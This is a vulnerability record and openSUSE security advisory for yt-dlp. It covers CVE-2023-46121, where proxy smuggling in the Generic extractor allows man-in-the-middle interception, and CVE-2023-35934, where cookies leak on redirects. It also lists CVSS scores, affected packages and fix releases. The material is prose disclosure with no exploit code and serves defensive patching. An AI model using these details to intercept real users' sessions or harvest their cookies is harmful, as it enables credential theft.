"value": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`."
}
]
},
"impact": {
"cvss": [
{
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"cweId": "CWE-444",
"lang": "eng",
"value": "CWE-444: Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x",
"refsource": "MISC",
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb",
"refsource": "MISC",
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14",
"refsource": "MISC",
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
}
]
},
"source": {
"advisory": "GHSA-3ch3-jhc6-5r8x",
"discovery": "UNKNOWN"
}
},
"nvd.nist.gov": {
"configurations": {
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:yt-dlp_project:yt-dlp:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndExcluding": "2023.11.14",
"versionStartIncluding": "2022.10.04",
"vulnerable": true
}
],
"operator": "OR"
}
]
},
"cve": {
"CVE_data_meta": {
"ASSIGNER": "security-advisories@github.com",
"ID": "CVE-2023-46121"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "en",
"value": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": []
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x",
"refsource": "",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb",
"refsource": "",
"tags": [
"Patch"
],
"url": "https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb"
},
{
"name": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14",
"refsource": "",
"tags": [
"Release Notes"
],
"url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14"
}
]
}
},
"impact": {
"baseMetricV3": {
"cvssV3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.2,
"impactScore": 1.4
}
},
"lastModifiedDate": "2023-11-22T15:05Z",
"publishedDate": "2023-11-15T00:15Z"
}
}
}
OPENSUSE-SU-2023:0374-1
Vulnerability from csaf_opensuse - Published: 2023-11-18 19:00 - Updated: 2023-11-18 19:00Summary
Security update for yt-dlp
Severity
Moderate
Notes
Title of the patch: Security update for yt-dlp
Description of the patch: This update for yt-dlp fixes the following issues:
- Update to release 2023.11.14
* Security: [CVE-2023-46121] Patch Generic Extractor MITM
Vulnerability via Arbitrary Proxy Injection
* Disallow smuggling of arbitrary http_headers; extractors now
only use specific headers
- Make yt-dlp require the one pythonXX-yt-dlp that /usr/bin/yt-dlp
was built with.
- Rework Python build procedure [boo#1216467]
- Enable Python library [boo#1216467]
- Update to release 2023.10.13
* youtube: fix some bug with --extractor-retries inf
- Update to release 2023.10.07
* yt: Fix heatmap extraction
* yt: Raise a warning for Incomplete Data instead of an error
- Update to release 2023.09.24
* Extract subtitles from SMIL manifests
* fb: Add dash manifest URL
* crunchyroll: Remove initial state extraction
* youtube: Add player_params extractor arg
- remove suggests on brotlicffi - this is only for != cpython
- Update to release 2023.07.06
* Prevent Cookie leaks on HTTP redirect [boo#1213124] [CVE-2023-35934]
* yt: Avoid false DRM detection
* yt: Process post_live over 2 hours
* yt: Support shorts-only playlists
- Update to release 2023.06.22
* youtube: add IOS to default clients used
- Update to release 2023.06.21
* Add option --compat-option playlist-match-filter
* Add options --no-quiet, option --color, --netrc-cmd, --xff
* Auto-select default format in -f-
* Improve HTTP redirect handling
* Support decoding multiple content encodings
- Use python3.11 on Leap 15.5
* python3.11 is the only python3 > 3.6 version would be shipped
in Leap 15.5
- Update to release 2023.03.04
* A bunch of extractor fixes
- Update to release 2023.03.03
* youtube: Construct dash formats with range query
* yt: Detect and break on looping comments
* yt: Extract channel view_count when /about tab is passed
- Update to release 2023.02.17
* Merge youtube-dl: Upto commit/2dd6c6e (Feb 17 2023)
* Fix --concat-playlist
* Imply --no-progress when --print
* Improve default subtitle language selection
* Make title completely non-fatal
* Sanitize formats before sorting
* [hls] Allow extractors to provide AES key
* [extractor/generic] Avoid catastrophic backtracking in KVS regex
* [jsinterp] Support if statements
* [plugins] Fix zip search paths
* [utils] Don't use Content-length with encoding
* [utils] Fix time_seconds to use the provided TZ
* [utils] Fix race condition in make_dir
* [extractor/anchorfm] Add episode
* [extractor/boxcast] Add extractor
* [extractor/ebay] Add extractor
* [extractor/hypergryph] Add extractor
* [extractor/NZOnScreen] Add extractor
* [extractor/rozhlas] Add extractor
* [extractor/tempo] Add IVXPlayer extractor
* [extractor/txxx] Add extractors
* [extractor/vocaroo] Add extractor
* [extractor/wrestleuniverse] Add extractors
* [extractor/yappy] Add extractor
* [extractor/youtube] Fix uploader_id extraction
* [extractor/youtube] Add hyperpipe instances
* [extractor/youtube] Handle consent.youtube
* [extractor/youtube] Support /live/ URL
* [extractor/youtube] Update invidious and piped instances
* [extractor/91porn] Fix title and comment extraction
* [extractor/AbemaTV] Cache user token whenever appropriate
* [extractor/bfmtv] Support rmc prefix
* [extractor/biliintl] Add intro and ending chapters
* [extractor/clyp] Support wav
* [extractor/crunchyroll] Add intro chapter
* [extractor/crunchyroll] Better message for premium videos
* [extractor/crunchyroll] Fix incorrect premium-only error
* [extractor/DouyuTV] Use new API
* [extractor/embedly] Embedded links may be for other extractors
* [extractor/freesound] Workaround invalid URL in webpage
* [extractor/GoPlay] Use new API
* [extractor/Hidive] Fix subtitles and age-restriction
* [extractor/huya] Support HD streams
* [extractor/moviepilot] Fix extractor
* [extractor/nbc] Fix NBC and NBCStations extractors
* [extractor/nbc] Fix XML parsing
* [extractor/nebula] Remove broken cookie support
* [extractor/nfl] Add NFLPlus extractor
* [extractor/niconico] Add support for like history
* [extractor/nitter] Update instance list by OIRNOIR
* [extractor/npo] Fix extractor and add HD support
* [extractor/odkmedia] Add OnDemandChinaEpisodeIE
* [extractor/pornez] Handle relative URLs in iframe
* [extractor/radiko] Fix format sorting for Time Free
* [extractor/rcs] Fix extractors
* [extractor/reddit] Support user posts
* [extractor/rumble] Fix format sorting
* [extractor/servus] Rewrite extractor
* [extractor/slideslive] Fix slides and chapters/duration
* [extractor/SportDeutschland] Fix extractor
* [extractor/Stripchat] Fix extractor
* [extractor/tnaflix] Fix extractor
* [extractor/tvp] Support stream.tvp.pl
* [extractor/twitter] Fix --no-playlist and add media
view_count when using GraphQL
* [extractor/twitter] Fix graphql extraction on some tweets
* [extractor/vimeo] Fix playerConfig extraction
* [extractor/viu] Add ViuOTTIndonesiaIE extractor
* [extractor/vk] Fix playlists for new API
* [extractor/vlive] Replace with VLiveWebArchiveIE
* [extractor/ximalaya] Update album _VALID_URL
* [extractor/zdf] Use android API endpoint for UHD downloads
* [youtube] Improve description extraction
* [youtube] Prevent excess HTTP 301
* [bellmedia] Add support for cp24.com clip URLs
Patchnames: openSUSE-2023-374
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
6.1 (Medium)
Affected products
Recommended
10 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
Affected products
Recommended
10 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
low
References
12 references
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Security update for yt-dlp",
"title": "Title of the patch"
},
{
"category": "description",
"text": "This update for yt-dlp fixes the following issues:\n\n- Update to release 2023.11.14\n\n * Security: [CVE-2023-46121] Patch Generic Extractor MITM\n Vulnerability via Arbitrary Proxy Injection\n * Disallow smuggling of arbitrary http_headers; extractors now\n only use specific headers\n\n- Make yt-dlp require the one pythonXX-yt-dlp that /usr/bin/yt-dlp\n was built with.\n\n- Rework Python build procedure [boo#1216467]\n- Enable Python library [boo#1216467]\n\n- Update to release 2023.10.13\n\n * youtube: fix some bug with --extractor-retries inf\n\n- Update to release 2023.10.07\n\n * yt: Fix heatmap extraction\n * yt: Raise a warning for Incomplete Data instead of an error\n\n- Update to release 2023.09.24\n\n * Extract subtitles from SMIL manifests\n * fb: Add dash manifest URL\n * crunchyroll: Remove initial state extraction\n * youtube: Add player_params extractor arg\n\n- remove suggests on brotlicffi - this is only for != cpython\n\n- Update to release 2023.07.06\n\n * Prevent Cookie leaks on HTTP redirect [boo#1213124] [CVE-2023-35934]\n * yt: Avoid false DRM detection\n * yt: Process post_live over 2 hours\n * yt: Support shorts-only playlists\n\n- Update to release 2023.06.22\n\n * youtube: add IOS to default clients used\n\n- Update to release 2023.06.21\n\n * Add option --compat-option playlist-match-filter\n * Add options --no-quiet, option --color, --netrc-cmd, --xff\n * Auto-select default format in -f-\n * Improve HTTP redirect handling\n * Support decoding multiple content encodings\n\n- Use python3.11 on Leap 15.5\n\n * python3.11 is the only python3 \u003e 3.6 version would be shipped\n in Leap 15.5\n\n- Update to release 2023.03.04\n\n * A bunch of extractor fixes\n\n- Update to release 2023.03.03\n\n * youtube: Construct dash formats with range query\n * yt: Detect and break on looping comments\n * yt: Extract channel view_count when /about tab is passed\n\n- Update to release 2023.02.17\n\n * Merge youtube-dl: Upto commit/2dd6c6e (Feb 17 2023)\n * Fix --concat-playlist\n * Imply --no-progress when --print\n * Improve default subtitle language selection\n * Make title completely non-fatal\n * Sanitize formats before sorting\n * [hls] Allow extractors to provide AES key\n * [extractor/generic] Avoid catastrophic backtracking in KVS regex\n * [jsinterp] Support if statements\n * [plugins] Fix zip search paths\n * [utils] Don\u0027t use Content-length with encoding\n * [utils] Fix time_seconds to use the provided TZ\n * [utils] Fix race condition in make_dir\n * [extractor/anchorfm] Add episode\n * [extractor/boxcast] Add extractor\n * [extractor/ebay] Add extractor\n * [extractor/hypergryph] Add extractor\n * [extractor/NZOnScreen] Add extractor\n * [extractor/rozhlas] Add extractor\n * [extractor/tempo] Add IVXPlayer extractor\n * [extractor/txxx] Add extractors\n * [extractor/vocaroo] Add extractor\n * [extractor/wrestleuniverse] Add extractors\n * [extractor/yappy] Add extractor\n * [extractor/youtube] Fix uploader_id extraction\n * [extractor/youtube] Add hyperpipe instances\n * [extractor/youtube] Handle consent.youtube\n * [extractor/youtube] Support /live/ URL\n * [extractor/youtube] Update invidious and piped instances\n * [extractor/91porn] Fix title and comment extraction\n * [extractor/AbemaTV] Cache user token whenever appropriate\n * [extractor/bfmtv] Support rmc prefix\n * [extractor/biliintl] Add intro and ending chapters\n * [extractor/clyp] Support wav\n * [extractor/crunchyroll] Add intro chapter\n * [extractor/crunchyroll] Better message for premium videos\n * [extractor/crunchyroll] Fix incorrect premium-only error\n * [extractor/DouyuTV] Use new API\n * [extractor/embedly] Embedded links may be for other extractors\n * [extractor/freesound] Workaround invalid URL in webpage\n * [extractor/GoPlay] Use new API\n * [extractor/Hidive] Fix subtitles and age-restriction\n * [extractor/huya] Support HD streams\n * [extractor/moviepilot] Fix extractor\n * [extractor/nbc] Fix NBC and NBCStations extractors\n * [extractor/nbc] Fix XML parsing\n * [extractor/nebula] Remove broken cookie support\n * [extractor/nfl] Add NFLPlus extractor\n * [extractor/niconico] Add support for like history\n * [extractor/nitter] Update instance list by OIRNOIR\n * [extractor/npo] Fix extractor and add HD support\n * [extractor/odkmedia] Add OnDemandChinaEpisodeIE\n * [extractor/pornez] Handle relative URLs in iframe\n * [extractor/radiko] Fix format sorting for Time Free\n * [extractor/rcs] Fix extractors\n * [extractor/reddit] Support user posts\n * [extractor/rumble] Fix format sorting\n * [extractor/servus] Rewrite extractor\n * [extractor/slideslive] Fix slides and chapters/duration\n * [extractor/SportDeutschland] Fix extractor\n * [extractor/Stripchat] Fix extractor\n * [extractor/tnaflix] Fix extractor\n * [extractor/tvp] Support stream.tvp.pl\n * [extractor/twitter] Fix --no-playlist and add media\n view_count when using GraphQL\n * [extractor/twitter] Fix graphql extraction on some tweets\n * [extractor/vimeo] Fix playerConfig extraction\n * [extractor/viu] Add ViuOTTIndonesiaIE extractor\n * [extractor/vk] Fix playlists for new API\n * [extractor/vlive] Replace with VLiveWebArchiveIE\n * [extractor/ximalaya] Update album _VALID_URL\n * [extractor/zdf] Use android API endpoint for UHD downloads\n * [youtube] Improve description extraction\n * [youtube] Prevent excess HTTP 301\n * [bellmedia] Add support for cp24.com clip URLs",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-2023-374",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2023_0374-1.json"
},
{
"category": "self",
"summary": "URL for openSUSE-SU-2023:0374-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/6MA5EHVFVH4HRBQQ5KZZ4YVOXJFQUG3W/"
},
{
"category": "self",
"summary": "E-Mail link for openSUSE-SU-2023:0374-1",
"url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/6MA5EHVFVH4HRBQQ5KZZ4YVOXJFQUG3W/"
},
{
"category": "self",
"summary": "SUSE Bug 1213124",
"url": "https://bugzilla.suse.com/1213124"
},
{
"category": "self",
"summary": "SUSE Bug 1216467",
"url": "https://bugzilla.suse.com/1216467"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2023-35934 page",
"url": "https://www.suse.com/security/cve/CVE-2023-35934/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2023-46121 page",
"url": "https://www.suse.com/security/cve/CVE-2023-46121/"
}
],
"title": "Security update for yt-dlp",
"tracking": {
"current_release_date": "2023-11-18T19:00:58Z",
"generator": {
"date": "2023-11-18T19:00:58Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2023:0374-1",
"initial_release_date": "2023-11-18T19:00:58Z",
"revision_history": [
{
"date": "2023-11-18T19:00:58Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"product": {
"name": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"product_id": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch"
}
},
{
"category": "product_version",
"name": "yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"product": {
"name": "yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"product_id": "yt-dlp-2023.11.14-bp155.3.3.1.noarch"
}
},
{
"category": "product_version",
"name": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"product": {
"name": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"product_id": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch"
}
},
{
"category": "product_version",
"name": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"product": {
"name": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"product_id": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch"
}
},
{
"category": "product_version",
"name": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"product": {
"name": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"product_id": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
}
}
],
"category": "architecture",
"name": "noarch"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Package Hub 15 SP5",
"product": {
"name": "SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5"
}
},
{
"category": "product_name",
"name": "openSUSE Leap 15.5",
"product": {
"name": "openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:leap:15.5"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch as component of SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.14-bp155.3.3.1.noarch as component of SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch as component of SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch as component of SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch as component of SUSE Package Hub 15 SP5",
"product_id": "SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "SUSE Package Hub 15 SP5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch as component of openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-2023.11.14-bp155.3.3.1.noarch as component of openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch as component of openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch as component of openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.5"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch as component of openSUSE Leap 15.5",
"product_id": "openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
},
"product_reference": "yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"relates_to_product_reference": "openSUSE Leap 15.5"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2023-35934",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2023-35934"
}
],
"notes": [
{
"category": "general",
"text": "yt-dlp is a command-line program to download videos from video sites. During file downloads, yt-dlp or the external downloaders that yt-dlp employs may leak cookies on HTTP redirects to a different host, or leak them when the host for download fragments differs from their parent manifest\u0027s host. This vulnerable behavior is present in yt-dlp prior to 2023.07.06 and nightly 2023.07.06.185519. All native and external downloaders are affected, except for `curl` and `httpie` (version 3.1.0 or later).\n\nAt the file download stage, all cookies are passed by yt-dlp to the file downloader as a `Cookie` header, thereby losing their scope. This also occurs in yt-dlp\u0027s info JSON output, which may be used by external tools. As a result, the downloader or external tool may indiscriminately send cookies with requests to domains or paths for which the cookies are not scoped.\n\nyt-dlp version 2023.07.06 and nightly 2023.07.06.185519 fix this issue by removing the `Cookie` header upon HTTP redirects; having native downloaders calculate the `Cookie` header from the cookiejar, utilizing external downloaders\u0027 built-in support for cookies instead of passing them as header arguments, disabling HTTP redirectiong if the external downloader does not have proper cookie support, processing cookies passed as HTTP headers to limit their scope, and having a separate field for cookies in the info dict storing more information about scoping\n\nSome workarounds are available for those who are unable to upgrade. Avoid using cookies and user authentication methods. While extractors may set custom cookies, these usually do not contain sensitive information. Alternatively, avoid using `--load-info-json`. Or, if authentication is a must: verify the integrity of download links from unknown sources in browser (including redirects) before passing them to yt-dlp; use `curl` as external downloader, since it is not impacted; and/or avoid fragmented formats such as HLS/m3u8, DASH/mpd and ISM.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2023-35934",
"url": "https://www.suse.com/security/cve/CVE-2023-35934"
},
{
"category": "external",
"summary": "SUSE Bug 1213124 for CVE-2023-35934",
"url": "https://bugzilla.suse.com/1213124"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Package Hub 15 SP5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"SUSE Package Hub 15 SP5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:python311-yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-bash-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-fish-completion-2023.11.14-bp155.3.3.1.noarch",
"openSUSE Leap 15.5:yt-dlp-zsh-completion-2023.11.14-bp155.3.3.1.noarch"
